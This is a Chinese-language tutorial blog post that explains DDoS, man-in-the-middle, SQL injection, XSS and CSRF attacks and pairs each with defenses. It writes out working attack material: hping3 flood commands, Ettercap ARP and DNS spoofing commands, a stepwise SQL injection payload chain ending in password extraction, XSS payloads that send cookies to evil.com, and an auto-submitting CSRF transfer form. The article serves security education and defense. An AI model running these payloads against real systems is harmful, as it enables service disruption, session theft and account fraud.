Skip to content

常见网络攻击手法详解 — DDoS、中间人、SQL注入、XSS

Published:
14 min read

网络攻击技术日新月异,但万变不离其宗——多数攻击都是围绕几类经典手法演化而来。理解这些核心攻击手法的原理、分类和利用方式,不仅是渗透测试人员的必备技能,也是开发人员和运维工程师构建安全系统的基础。本文将深入解析五种最常见且影响最广的网络攻击手法:DDoS、中间人攻击、SQL 注入、XSS 和 CSRF,并给出对应的防御方案。

DDoS 攻击

DDoS(Distributed Denial of Service,分布式拒绝服务)攻击通过控制大量计算机(僵尸网络)向目标系统发送海量请求,耗尽其带宽、计算或连接资源,导致正常用户无法访问服务。

攻击类型

SYN Flood(传输层)

利用 TCP 三次握手的缺陷,发送大量 SYN 请求但不完成握手,使服务器维护大量半连接状态直至资源耗尽。

# 模拟 SYN Flood(仅限授权测试环境)
sudo hping3 -S --flood -V -p 80 192.168.1.100

# 使用随机源 IP 增加追踪难度
sudo hping3 -S --flood --rand-source -p 80 192.168.1.100

UDP Flood(传输层)

向目标发送大量 UDP 数据包,由于 UDP 是无连接协议,目标需要消耗资源检查每个端口上是否有监听的应用程序,当端口不可达时还需回复 ICMP 不可达消息。

HTTP Flood(应用层)

模拟大量合法的 HTTP 请求,消耗 Web 服务器的计算资源。由于请求看起来与正常流量相似,这类攻击更难以检测和过滤。

# 应用层 DDoS 防护 — Nginx 限速配置示例
# 在 nginx.conf 中添加以下配置

# 定义限速区域:每个 IP 每秒最多 10 个请求
# limit_req_zone $binary_remote_addr zone=api_limit:10m rate=10r/s;
#
# server {
#     location /api/ {
#         limit_req zone=api_limit burst=20 nodelay;
#         limit_req_status 429;
#     }
# }

DDoS 防御策略

# 使用 iptables 进行基础 DDoS 防护

# 限制每个 IP 的并发连接数
sudo iptables -A INPUT -p tcp --dport 80 \
  -m connlimit --connlimit-above 50 -j REJECT

# 限制新建连接的速率
sudo iptables -A INPUT -p tcp --dport 80 -m state --state NEW \
  -m limit --limit 50/s --limit-burst 100 -j ACCEPT

# 丢弃无效数据包
sudo iptables -A INPUT -m state --state INVALID -j DROP

# 防御 SYN Flood
sudo sysctl -w net.ipv4.tcp_syncookies=1
sudo sysctl -w net.ipv4.tcp_max_syn_backlog=8192

此外,还应考虑使用 CDN 服务(如 Cloudflare)分散流量、部署专业的 DDoS 防护设备(如 Anti-DDoS 清洗中心)、以及与 ISP 合作进行上游流量过滤。

中间人攻击(MITM)

中间人攻击(Man-in-the-Middle)是指攻击者秘密地拦截并可能篡改两方之间的通信,而双方都以为自己在直接与对方通信。

攻击原理

中间人攻击的典型场景是:攻击者同时欺骗通信双方,使自己成为通信链路中的”透明”中间节点。所有流量先经过攻击者,攻击者可以查看、记录甚至修改流量内容后再转发。

Ettercap 实战示例

Ettercap 是一款强大的中间人攻击工具,支持 ARP 欺骗、DNS 欺骗和内容过滤等功能。

# 使用 Ettercap 进行 ARP 欺骗中间人攻击(仅限授权测试环境)

# 文本模式 — 对目标 192.168.1.100 和网关 192.168.1.1 进行 ARP 欺骗
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.100// /192.168.1.1//

# 图形界面模式
sudo ettercap -G

# 使用 Ettercap 进行 DNS 欺骗
# 首先编辑 DNS 欺骗配置文件
# /etc/ettercap/etter.dns 中添加:
# *.example.com A 10.0.0.50
# 然后启动 Ettercap 并加载 dns_spoof 插件
sudo ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /192.168.1.100// /192.168.1.1//

使用 mitmproxy 拦截 HTTPS 流量

# mitmproxy 是一款交互式的 HTTPS 代理工具

# 启动 mitmproxy 代理(默认监听 8080 端口)
mitmproxy -p 8080

# 以透明代理模式运行
mitmproxy --mode transparent

# 使用 mitmdump 自动记录所有请求
mitmdump -w traffic.log

MITM 防御措施

SQL 注入攻击

SQL 注入(SQL Injection)是最经典也最危险的 Web 漏洞之一。当应用程序将用户输入直接拼接到 SQL 语句中执行时,攻击者可以注入恶意 SQL 代码来操纵数据库。

攻击原理

假设有一个登录功能,后端代码如下:

# 存在 SQL 注入漏洞的代码示例(反面教材)
query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"
cursor.execute(query)

当攻击者在用户名字段输入 admin' -- 时,SQL 语句变为:

SELECT * FROM users WHERE username='admin' --' AND password=''

-- 是 SQL 注释符,后面的密码验证被注释掉了,攻击者无需密码即可登录 admin 账户。

SQL 注入分类与示例

联合注入(Union-based Injection)

利用 UNION SELECT 语句将额外的查询结果拼接到正常查询结果中,从而提取数据。

-- 判断字段数量
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --     -- 直到报错,确定字段数

-- 联合查询获取数据库信息
' UNION SELECT 1,version(),database() --

-- 获取所有表名
' UNION SELECT 1,group_concat(table_name),3 
  FROM information_schema.tables 
  WHERE table_schema=database() --

-- 获取指定表的列名
' UNION SELECT 1,group_concat(column_name),3 
  FROM information_schema.columns 
  WHERE table_name='users' --

-- 提取用户数据
' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users --

布尔盲注(Boolean-based Blind Injection)

当页面不直接显示查询结果,但会根据条件真假返回不同响应时,可以逐字符判断数据内容。

-- 判断数据库名的第一个字符
' AND (SELECT ASCII(SUBSTRING(database(),1,1))) > 100 --
' AND (SELECT ASCII(SUBSTRING(database(),1,1))) > 110 --
' AND (SELECT ASCII(SUBSTRING(database(),1,1))) = 115 --   -- 's'

-- 判断数据库版本
' AND (SELECT LENGTH(version())) = 6 --

时间盲注(Time-based Blind Injection)

当页面对真假条件没有可见的差异响应时,可以通过数据库的延迟函数来判断条件真假。

-- 如果数据库名第一个字符 ASCII 码大于 100,则延迟 5 秒
' AND IF(ASCII(SUBSTRING(database(),1,1))>100, SLEEP(5), 0) --

-- MySQL 时间盲注
' AND (SELECT SLEEP(5) FROM dual WHERE database() LIKE 's%') --

-- PostgreSQL 时间盲注
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END --

SQL 注入防御

# 正确做法:使用参数化查询(Parameterized Query)
import mysql.connector

conn = mysql.connector.connect(host='localhost', database='myapp')
cursor = conn.cursor(prepared=True)

# 参数化查询 — 数据库驱动自动处理转义
query = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(query, (username, password))

# ORM 框架(如 SQLAlchemy)也能有效防止 SQL 注入
from sqlalchemy import select
stmt = select(User).where(User.username == username)
result = session.execute(stmt)

其他防御措施包括:输入验证和白名单过滤、最小化数据库用户权限、部署 WAF(Web 应用防火墙)、定期进行代码审计和漏洞扫描。

XSS 攻击

跨站脚本攻击(Cross-Site Scripting,XSS)是指攻击者向 Web 页面中注入恶意脚本代码,当其他用户访问该页面时,恶意脚本在受害者的浏览器中执行。

反射型 XSS(Reflected XSS)

恶意脚本包含在 URL 参数中,服务器将其”反射”回页面而未经过滤。

# 攻击 URL 示例
https://example.com/search?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

存储型 XSS(Stored XSS)

恶意脚本被永久存储在目标服务器上(如数据库、评论区),所有访问该页面的用户都会受到影响。存储型 XSS 危害最大。

<!-- 攻击者在评论区提交的恶意内容 -->
<img src=x onerror="fetch('https://evil.com/log?c='+document.cookie)">

<!-- 利用事件处理器的 XSS Payload -->
<svg onload="alert('XSS')">

<!-- 绕过简单过滤的变形 Payload -->
<img src=x onerror=alert(String.fromCharCode(88,83,83))>
<iframe src="javascript:alert('XSS')">

DOM 型 XSS(DOM-based XSS)

恶意脚本通过修改页面的 DOM 环境来执行,完全在客户端发生,不经过服务器。

// 存在 DOM XSS 漏洞的代码示例
// URL: https://example.com/page#<img src=x onerror=alert(1)>
var hash = location.hash.substring(1);
document.getElementById('output').innerHTML = hash;  // 危险!直接插入 HTML

XSS 防御

# Python Flask 中的 XSS 防御

# 1. 输出编码 — 对所有用户输入进行 HTML 实体编码
from markupsafe import escape

@app.route('/search')
def search():
    query = request.args.get('q', '')
    safe_query = escape(query)  # 将 < > " ' & 转为 HTML 实体
    return render_template('search.html', query=safe_query)
// 前端 JavaScript XSS 防御

// 使用 textContent 而非 innerHTML
document.getElementById('output').textContent = userInput;

// 如果必须插入 HTML,使用 DOMPurify 进行净化
const clean = DOMPurify.sanitize(userInput);
document.getElementById('output').innerHTML = clean;

其他 XSS 防御措施:

CSRF 攻击

跨站请求伪造(Cross-Site Request Forgery,CSRF)攻击利用受害者已认证的身份,在受害者不知情的情况下向目标网站发送恶意请求。

攻击原理

当用户已登录目标网站(浏览器中保存了 Session Cookie),攻击者诱导用户访问一个恶意页面,该页面自动向目标网站发送请求,浏览器会自动带上 Cookie,服务器无法区分这是用户主动发起的还是被伪造的请求。

<!-- CSRF 攻击示例 — 恶意页面中隐藏的表单 -->
<form action="https://bank.example.com/transfer" method="POST" id="csrfForm">
  <input type="hidden" name="to_account" value="attacker_account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrfForm').submit();</script>

CSRF 防御

# Flask 中使用 CSRF Token 防护
from flask_wtf.csrf import CSRFProtect

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key'
csrf = CSRFProtect(app)

# 模板中自动插入 CSRF Token
# <form method="post">
#     <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
#     ...
# </form>

总结

本文详细分析了五种最常见的网络攻击手法。DDoS 攻击通过海量流量淹没目标,防御的关键在于流量清洗和限速策略;中间人攻击窃听和篡改通信内容,全站 HTTPS 和 HSTS 是有效对策;SQL 注入通过操纵数据库查询窃取或破坏数据,参数化查询是根本解决方案;XSS 在受害者浏览器中执行恶意脚本,输出编码和 CSP 是主要防线;CSRF 利用受害者已认证身份发起伪造请求,CSRF Token 和 SameSite Cookie 可以有效阻止。

对于开发人员而言,安全意识应当贯穿整个开发生命周期——从设计阶段的威胁建模,到编码阶段的安全编程实践,再到上线后的持续监控和漏洞响应。安全不是一次性的工作,而是一个持续改进的过程。